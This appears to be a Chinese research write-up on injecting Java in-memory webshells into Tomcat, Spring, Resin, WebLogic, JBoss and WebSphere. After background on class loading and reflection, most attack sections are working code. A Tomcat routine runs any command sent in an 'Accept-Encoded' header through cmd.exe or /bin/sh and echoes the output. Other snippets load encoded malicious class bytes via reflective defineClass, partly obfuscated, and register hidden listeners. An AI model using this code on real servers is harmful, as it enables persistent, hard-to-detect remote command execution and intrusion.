1. 前言
java内存马注入一般分为两种
- 动态注册添加新的listener/filter/servlet/controller等等
- agent注入修改已有class,插入恶意代码
在理解内存马注入前,有几个概念需要掌握的。
- 类加载
- 双亲委派问题以及context
- 类反射
2. 基础
2.1. class对象
java中的对象可以分为两种对象:Class对象和实例对象
- 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类
名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象 - 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取
并操作它的引用 - 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类
型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种
方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。
JVM不会创建两个相同类型的Class对象
Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过
调用类加载器中的 defineClass 方法自动构造的,因此不能显式地声明一个Class对象。
2.2.类加载
一个类被加载到内存并供我们使用需要经历如下三个阶段:
- 加载,这是由类加载器(ClassLoader)执行 的。通过一个类的全限定名来获
取其定义的二进制字节流(Class字节码),将这个字节流所代表的静态存储结
构转化为方法去的运行时数据接口,根据字节码在java堆中生成一个代表这个类
的java.lang.Class对象 - 链接。在链接阶段将验证Class文件中的字节流包含的信息是否符合当前虚拟机
的要求,为静态域分配存储空间并设置类变量的初始值(默认的零值),并且
如果必需的话,将常量池中的符号引用转化为直接引用。 - 初始化。到了此阶段,才真正开始执行类中定义的java程序代码。用于执行该
类的静态初始器和静态初始块,如果该类有父类的话,则优先对其父类进行
初始化
所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载)
触发类加载的方式
- Class.forName("类的全限定名")
- new 类构造方法
除了上述方式,还可以通过网络加载字节码方式来调用外部类
- oadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用
findclass - findclass:根据名称或位置加载.class字节码,然后使用defineClass
- defineclass:解析定义.class字节流,返回class对象
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是
双亲委派机制),在前面没有找到的情况下,执行 findClass - findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中
说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交
给 defineClass - defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成
一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言
代码中
classloader推荐
jxxload_help.PathVFSJavaLoader#loadClassFromBytes org.python.core.BytecodeLoader1#loadClassFromBytes sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl ass java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource) org.mozilla.classfile.DefiningClassLoader#defineClass org.mozilla.javascript.DefiningClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类装载器是用来把类(class)装载进 JVM 的。JVM 规范定义了两种类型的类装载器:
启动类装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 JVM在运行时会
产生3个类加载器组成的初始化加载器层次结构 ,如下图所示:
//1、获取系统类的加载器 ClassLoader classLoader = ClassLoader.getSystemClassLoader(); System.out.println(classLoader); //2. 获取系统类加载器的父类加载器(扩展类加载器,可以获取). classLoader = classLoader.getParent(); System.out.println(classLoader); //3. 获取扩展类加载器的父类加载器(引导类加载器,不可获取). classLoader = classLoader.getParent(); System.out.println(classLoader);
2.3. 类反射
其实就是获取Class对象,然后调用该对象进行一系列操作
- Class: 是一个类; 一个描述类的类
- 封装了描述方法的 Method
- 描述字段的 Filed
- 描述构造器的 Constructor 等属性
如何得到 Class 对象
- Person.class
- person.getClass()
- Class.forName("com.atguigu.javase.Person")
关于 Method
如何获取 Method:
- getDeclaredMethods: 得到 Method 的数组
- getDeclaredMethod(String methondName, Class ...
parameterTypes) 可以拿到反射类中的公共方法、私有方法、保
护方法、默认访问,但不获得父类方法 - getMethod(String methondName, Class ... parameterTypes)可以
拿到反射类及其父类中的所有公共方法, 但无法获取私有方法
如何调用 Method
- 如果方法时 private 修饰的, 需要先调用 Method 的
setAccessible(true), 使其变为可访问 - method.invoke(obj, Object ... args)
关于 Field
如何获取 Field: getField(String fieldName)
如何获取 Field 的值
- setAccessible(true)
- field.get(Object obj)
如何设置 Field 的值
- field.set(Obejct obj, Object val)
如果属性用 final 修饰的,需要获取Field的mofilers属性,将FINAL约
束去掉,则可修改
ips:
数组反射
声明数组对象
Array.newInstance(int.class, 3);
数组class
Class intArray = Class.forName("[I"); Class byteArray = Class.forName("[B"); Class stringArrayClass = Class.forName("[Ljava.lang.String;"); // 上面的字符串可以通过打印来观察 System.out.println(LinkOption[].class); // 输出 class [Ljava.nio.file.LinkOption; // 取巧 Class theClass = getClass(theClassName); Class stringArrayClass = Array.newInstance(theClass, 0).getClass();
获取数组值
Array.get(obj, index);
2.4. 双亲委派
双亲委派的作用:
- 为了保证相同的class文件,在使用的时候,是相同的对象,jvm设计的时候,采
用了双亲委派的方式来加载类,防止相同类的重复加载。一般来说应用启动的
时候会有统一的AppClassLoader来加载项目里的class - 保证启动类加载器优先加载,防止JDK的class被篡改
打破双亲委派:ClassLoader#loadClass方法就是以双亲委派逻辑编写的,只要继承
ClassLoader重写loadClass去掉双亲委派的代码就可以打破双亲委派。也可以通过
defineclass绕过loadclass。
tomcat类加载器需要破坏双亲委派机制
tomcat是个web容器,要解决以下问题
- 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖
同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离
的 - 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类
库被加载进JVM - web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
- web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持
HotSwap功能
- 架构图
tomcat自己定义的类加载器
- CommonClassLoader:tomcat最基本的类加载器,加载路径中的class可以被tomcat和
各个webapp访问 - CatalinaClassLoader:tomcat私有的类加载器,webapp不能访问其加载路径下的
class,即对webapp不可见 - SharedClassLoader:各个webapp共享的类加载器,对tomcat不可见
- WebappClassLoader:webapp私有的类加载器,只对当前webapp可见
- JspClassLoader
- 每一个web应用程序对应一个WebappClassLoader,每一个jsp文件对应一个
JspClassLoader,所以这两个类加载器有多个实例
Tomcat 中有 4 类容器组件,从上至下依次是:
- Engine,实现类为 org.apache.catalina.core.StandardEngine
- Host,实现类为 org.apache.catalina.core.StandardHost
- Context,实现类为 org.apache.catalina.core.StandardContext
- Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
“从上至下” 的意思是,它们之间是存在父子关系的
- Engine:最顶层容器组件,其下可以包含多个 Host
- Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
- Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- Wrapper:一个 Wrapper 代表一个 Servlet
srping
3. 动态注册方式注入
关于各个协议和组件的内存马的构造思路其实都大同小异
- 分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否
控制响应内容 - 然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即
可 - 一般的流程就是request->context->addListener/addFilter
我怎么拿到当前请求的request对象,request对象里一般会有context,context里面一
般都有一些注册组件的方法或者变量存储
需要注意问题
- 如果不是web相关类加载器,可能出现类加载报类找不到的问题,这是因为双亲
委派隔离 - 如果用当前上下文的类加载,则相同类名只能加载一次
要解决上面两个问题,就是基于当前上下文的类加载去new一个新的类加载器。
如下用Mlet就是一种方法
new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader())
参考代码
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader()), new Object[]{classBytes, new Integer(0), new Integer(classBytes.length)});
在研究中间件之前,最好去了解下该中间件的发展历史,有哪些版本,因为不同版
本的代码肯定会有不同层度的改动,你的内存马是否适配每个版本是个问题
3.1. tomcat
tomcat5无法拿到catalinaLoader,所以需要遍历所有的线程,通过如下判断可以获取
Catalina对应的线程,然后就是继续挖掘request类
for (int i = 0; i < threads.length; i++) { if (threads[i].getName().contains("ContainerBackgroundProcessor")) { o = getFieldValue(threads[i], "target"); if (!(o instanceof Runnable)) { continue; } } }
tomcat5-9
public static void echo() throws Exception{
Object o;
Object resp = null;
boolean done = false;
try {
java.lang.reflect.Method getThreadsM =
Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsM.setAccessible(true);
Thread[] threads = (Thread[])
getThreadsM.invoke(null, new Object[0]);
for (int i = 0; i < threads.length; i++) {
String name = threads[i].getName();
if
(name.contains("ContainerBackgroundProcessor") ||
(!name.contains("exec") && name.contains("http"))) {
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
Object connectionHandler = null;
try {
Object[] connectors = (Object[])
getFieldValue(getFieldValue(getFieldValue(o, "this$0"),
"service"), "connectors");
for (int j = 0; j <
connectors.length; j++) {
Object connector =
connectors[j];
// tomcat5/6/7
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"cHandler");
if (connectionHandler == null) {
// tomcat8
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"handler");
} else {
break;
}
}
}catch (Exception e) {
// tomcat9
connectionHandler =
getFieldValue(getFieldValue(o, "this$0"), "handler");
}
java.util.ArrayList processors =
(java.util.ArrayList)
getFieldValue(getFieldValue(connectionHandler, "global"),
"processors");
for (int j = 0; j < processors.size();
j++) {
Object processor =
processors.get(j);
Object req =
getFieldValue(processor, "req");
String s = (String)
req.getClass().getMethod("getHeader", new Class[]
{String.class}).invoke(req, new Object[]{"Accept-Encoded"});
if (s != null && !s.isEmpty()) {
Object conreq =
req.getClass().getMethod("getNote", new Class[]
{int.class}).invoke(req, new Object[]{new Integer(1)});
try {
resp =
conreq.getClass().getMethod("getResponse", new
Class[0]).invoke(conreq, new Object[0]);
} catch (Exception e) {
resp =
getFieldValue(getFieldValue(conreq, "request"), "response");
}
resp.getClass().getMethod("setStatus", new Class[]
{int.class}).invoke(resp, new Object[]{new Integer(200)});
resp.getClass().getMethod("addHeader", new Class[]
{String.class, String.class}).invoke(resp, new Object[]
{"Transfer-encoded", "chunked"});
done = true;
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes =
System.getProperties().toString().getBytes();
} else {
String[] cmd =
System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",
s};
cmdBytes = new
java.util.Scanner(new
ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\
A").next().getBytes();
}
writeBody(resp, "======" + new
String(cmdBytes) + "======");
}
if (done) {
break;
}
}
}catch (Exception e) {
continue;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}
通过request获取context
// 获取context private static Object getContext(Object request) throws Exception { Object context = null; try { // all context = getFieldValue(request, "context"); } catch (Exception e) { try { // tomcat6 context = invoke(request, "getContext"); } catch (Exception ignored) { try { // tomcat7以上 context = invoke(request, "getServletContext"); } catch (Exception ignored1) { // resin3 context = invoke(request, "getWebApp"); } } } return context; } // get standardContext Object applicationContextFacade = geContext(request); // 获取ApplicationContext对象 Object applicationContext = getFieldValue(applicationContextFacade, "context"); // 获取StandardContext对象 Object standardContext = getFieldValue(applicationContext, "context");
添加listener
getMethodByClass(standardContext.getClass(), "setApplicationEventListeners", Object[].class).invoke(standardContext, new Object[] {newListeners.toArray()});
3.2. 半自动化挖掘
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
工具链接: https://github.com/lz520520/java-object-searcher
将java-object-searcher-.jar引入到目标应用的classpath中,或者可以放在jdk的ext目
录(一劳永逸)
编写调用代码搜索目标对象
以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)
和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate中执行
//设置搜索类型包含Request关键字的对象 Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()); //定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("CompoundClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),keys);
// SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();
SearchRequstByBFS_log 日志文件开头
比如tomcat的request搜索
3.3. spring
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestCo ntextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]); Object httprequest = requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]); Object httpresponse = requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]); Object servletContext = httprequest.getClass().getMethod("getServletContext", new Class[0]).invoke(requestAttributes, new Object[0]);
3.4. resin
3.4.1. resin4记录
resin很体贴,他的 com.caucho.server.webappWebApp类直接提供了添加方法,
如下调用 addListenerObject 即可添加。
servletContext = invoke(httprequest, "getServletContext"); Object webApp = servletContext; Method addListenerObjectM = getMethodByClass(webApp.getClass(), "addListenerObject", new Class[]{Object.class, boolean.class}); // 实例化,并修改pwd java.lang.reflect.Method m = Class.forName("java.lang.C"+ "lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class, int.class, int.class); m.setAccessible(true); Class clazz = (Class) m.invoke(new javax.management.loading.MLet(new java.net.URL[0], Thread.currentThread().getContextClassLoader()),clazzBytes, 0, clazzBytes.length); Object listener = clazz.newInstance(); addListenerObjectM.invoke(webApp, new Object[]{listener, true});
3.4.2. resin3记录
resin3和resin4添加流程基本一样。区别就在于获取WebApp类的方法,resin4是
getServletContext,而resin3是 getWebApp
servletContext = invoke(httpServletRequest, "getWebApp");
而resin3还存在一个bug,如果listener里调用了response写入数据,那么响应包就会出
现chunked编码,并且还包含原来的Content-Length,可能导致解析异常,如下yakit获取
直到30秒超时才响应
还有个区别,如下获取request,3和4获取的实现类不一样,3是
com.caucho.server.http.HttpRequest,而4是
com.caucho.server.http.HttpServletRequestImpl
Thread.currentThread().getContextClassLoader().loadClass("com.ca ucho.server.dispatch.ServletInvocation").getMethod("getContextRe quest").invoke(null);
3.5. weblogic
3.5.1. 12.1.3以上
ServletRequestImpl是放在currentWork->connectionHandler->request
而10.3.6则是currentWork= ServletRequestImpl ,这里主要区别,除此之外,
10.3.6的context没有phase
Object currentWork =((ExecuteThread) Thread.currentThread()).getCurrentWork(); Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandler.setAccessible(true); Object httpConnectionHandler = connectionHandler.get(currentWork); Field requestF = httpConnectionHandler.getClass().getDeclaredField("request"); requestF.setAccessible(true); httpConnectionHandler = requestF.get(httpConnectionHandler); java.lang.reflect.Field contextF = httpConnectionHandler.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler); byte[] evilClassBytes = new BASE64Decoder().decodeBuffer("yv66"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); // 获取webAppServletContext中的classLoader Field classLoaderF = webAppServletContext.getClass().getDeclaredField("classLoader"); classLoaderF.setAccessible(true); ClassLoader classLoader = (ClassLoader) classLoaderF.get(webAppServletContext); Class servletClass = (Class) defineClass.invoke(classLoader, evilClassBytes, 0, evilClassBytes.length); Field phaseF = webAppServletContext.getClass().getDeclaredField("phase"); phaseF.setAccessible(true); Object INITIALIZER_STARTUP = Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase").getDeclaredField("INITIALIZER_STARTUP").get(null); Object START = Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase").getDeclaredField("START").get(null); Object OldContextPhase = phaseF.get(webAppServletContext); phaseF.set(webAppServletContext, INITIALIZER_STARTUP); webAppServletContext.registerListener("tools.mem.shells.listener .testCmdListener"); phaseF.set(webAppServletContext, START);
在weblogic启动后,高版本其实是不允许添加listener的,这里会检查
如果为START表示启动完毕,则这里会抛出异常
checkNotifyDynamicContext 会检查另一项
这是12.1.3的,12.2.1.3以上会增加AFTER_INITIALIZER_NOTIFY_LISTENER,这
里选择
3.6. jboss
测试AS6.1 可直接复用tomcat的listener 内存马,原因就是jboss内嵌了tomcat
3.7. WebSphere
WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 6.1 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
Latest Fix Pack | 22.0.0.7 | 9.0.5.12 | 8.5.5.22 | 8.5.5.9 (the next is 16.0.0.2) | 8.5.0.2 | 8.0.0.15 | 7.0.0.45 | 6.1.0.47 | 6.0.2.43 | 5.1.1.19 | 5.0.2 | 4.0.7 | 3.5.7 |
Release date | 5 July 2022 | 7 June 2022 | 25 July 2022 | June 15, 2012 | June 15, 2012[5] | June 17, 2011 | October 17, 2008 | June 30, 2006 | December 31, 2004 | January 16, 2004 | January 3, 2003 | August 15, 2001 | August 31, 2000 |
End of support | June 24, 2016 (with the release of 16.0.0.2) [6] | April 30, 2018 | April 30, 2018 | September 30, 2013 | September 30, 2010 | September 30, 2008 | September 30, 2006 | April 30, 2005 | November 30, 2003 | ||||
Java SE | 6 (until 17.0.0.2), 7, 7.1, 8 and 11 (since 19.0.0.1) [10] | 8 | 6 (until 8.5.5.13), 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.9) [11] | 6, 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.5) | 6 and 7[12] | 6 | 6 | 5 | 1.4 | 1.4 | 1.4 | 1.3 | 1.2 |
Java EE | 6 (web profile) and 7[13] | 7 | 6 | 6 (web profile) and 7 (since 8.5.5.6) | 6 | 6 | 5 | 1.4 | 1.4 | 1.3 | 13 | 1.2 | 1.2 (not fully compliant) |
WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 2.4 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
Servlet | 3.0,3.1,4.0 | 3.1 | 3.0 | 3.1 | 3.0 | 3.0 | 2.5 | 2.0 | 2.4 | 2.3 | 2.3 | 2.2 | 2.1&2.2 |
JSP | 2.2, 2.3 | 2.3 | 2.2 | 2.3 | 2.2 | 2.2 | 2.1 | 1.1 | 2.0 | 1.2 | 1.2 | 1.1 | 0.91 and 1.0&1.1 |
JSF | 2.0, 2.2, 2.3 | 2.2 | 2.0 | 2.2 | 3.2 | 2.0 | 1.2 | 3.0 | 1.0 | ||||
EJB | 3.1 (lite), 3.2 | 3.2 | 3.1 | 3.2 | 1.1 | 3.1 | 3.0 | 3.0 | 2.1 | 2.0 | 2.0 | 1.1 | 1.0 |
JMS | 1.0, 2.0 | 2.0 | 1.1 | 1.1 | 4.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.02 | |||
JDBC | 4.0, 4.1 | 4.1 | 4.1 | 4.1 | 4.0 | 4.0 | 4.0 | 3.0 | 3.0 | ||||
JPA | 2.0, 2.1 | 2.0, 2.1[15] | 2.0 | 2.1 | 2.0 | 2.0 | 1.0 | 1.0 | 1.0 |
3.7.1. 回显
websphere7找不到像8.5那样的调用链, wsThreadLocals 里没有
WebContainerRequestState类,所以我得找起来方法,尝试在线程里跑request,但没找到
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEch
o.jsp
在分析堆栈的时候,发现了一个获取web容器的地方如下
com.ibm.ws.webcontainer.WebContainer.getWebContainer()
接着就找到当前容器的上下文,以及request和response
com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec tionContext()
这个context有问题,获取connContext后需要用WCCRequestImpl初始化,才能拿到真
正的request,所以这个思路是不行了
继续看了下,发现这里有个静态变量_cacheMap
这个连接对象池里会放着已连接过的context,但没啥用,他只是复用连接,还是需
要上述通过req res初始化
这个方法也能获取到context
WebContainer.getFromCache(new StringBuffer("30.1.20.3:9080/visor_externo/class.jsp"))
3.7.2. 半自动化搜索备注
Object webapp = ((com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcont ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi sor_externo/*")).webApp; //设置搜索类型包含Request关键字的对象 Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()); //定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("CompoundClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),keys); // SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();
new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener").build()).searchObject();
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl} ---> javaColonCtxt = {javax.naming.InitialContext} ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot} ---> _orb = {com.ibm.CORBA.iiop.ORB} ---> threadGroup = {java.lang.ThreadGroup} ---> childrenThreads = {class [Ljava.lang.Thread;} ---> [27] = {java.lang.Thread} ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} ---> selector = {sun.nio.ch.EPollSelectorImpl} ---> fdToKey = {class java.util.HashMap} ---> [316] = {sun.nio.ch.SelectionKeyImpl} ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort} ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel} ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;} ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList} ---> voidLink = {java.util.LinkedList$Link} ---> previous = {java.util.LinkedList$Link} ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink} ---> reader = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl} ---> javaColonCtxt = {javax.naming.InitialContext} ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot} ---> _orb = {com.ibm.CORBA.iiop.ORB} ---> threadGroup = {java.lang.ThreadGroup} ---> childrenThreads = {class [Ljava.lang.Thread;} ---> [27] = {java.lang.Thread} ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} ---> selector = {sun.nio.ch.EPollSelectorImpl} ---> fdToKey = {class java.util.HashMap} ---> [316] = {sun.nio.ch.SelectionKeyImpl} ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort} ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel} ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;} ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList} ---> voidLink = {java.util.LinkedList$Link} ---> previous = {java.util.LinkedList$Link} ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink} ---> writer = {com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz = Class.forName("com.ibm.ws.webcontainer.WebContainer"); Object webContainer = clazz.getDeclaredMethod("getWebContainer").invoke(null); Object requestMapper = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai ner,"requestMapper"); Object webGroup = requestMapper.getClass().getDeclaredMethod("map", String.class).invoke(requestMapper, ":9080/visor_externo/*"); Object webapp = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup, "webApp"); Object obj0 = webapp; // {javax.naming.InitialContext} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"jav aColonCtxt"); // {com.ibm.ws.naming.java.javaURLContextRoot} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"def aultInitCtx"); // {com.ibm.CORBA.iiop.ORB} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"_or b"); // {java.lang.ThreadGroup} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"thr eadGroup"); // {class [Ljava.lang.Thread;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"chi ldrenThreads"); // {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} Object obj7 = null; for (Thread thread: ((Thread[]) obj5)) { obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread,"r unnable"); if (obj7 !=null && obj7.getClass().getName().contains("NBAcceptChannelSelector")) { break; } } // {sun.nio.ch.EPollSelectorImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"sel ector"); // {class java.util.HashMap} Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT oKey"); Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map) obj9).get(317),"attachment"); Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc pChannel"); Object obj13 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in Use"); Object obj15 = ((java.util.List) ((TCPChannelLinkedList[]) obj13)[0]).get(0); Object obj18 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re ader"); com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req = (com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl) obj18; com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink = (com.ibm.ws.http.channel.inbound.impl.HttpInboundLink) req.getTCPConnLink().getVirtualConnection().getStateMap().get(co m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL); com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink = (com.ibm.ws.webcontainer.channel.WCChannelLink) myLink.getApplicationCallback(); wcChannelLink.request.getHeader("xxx")
3.7.3. 基于request定位context
TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest} ---> _dispatchContext = {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext} ---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express: Object obj0 = TargetObject; // {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di spatchContext"); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we bapp");
3.7.4. 基于Thread.currentThread()定位request
这个定位的有问题,不是当前request
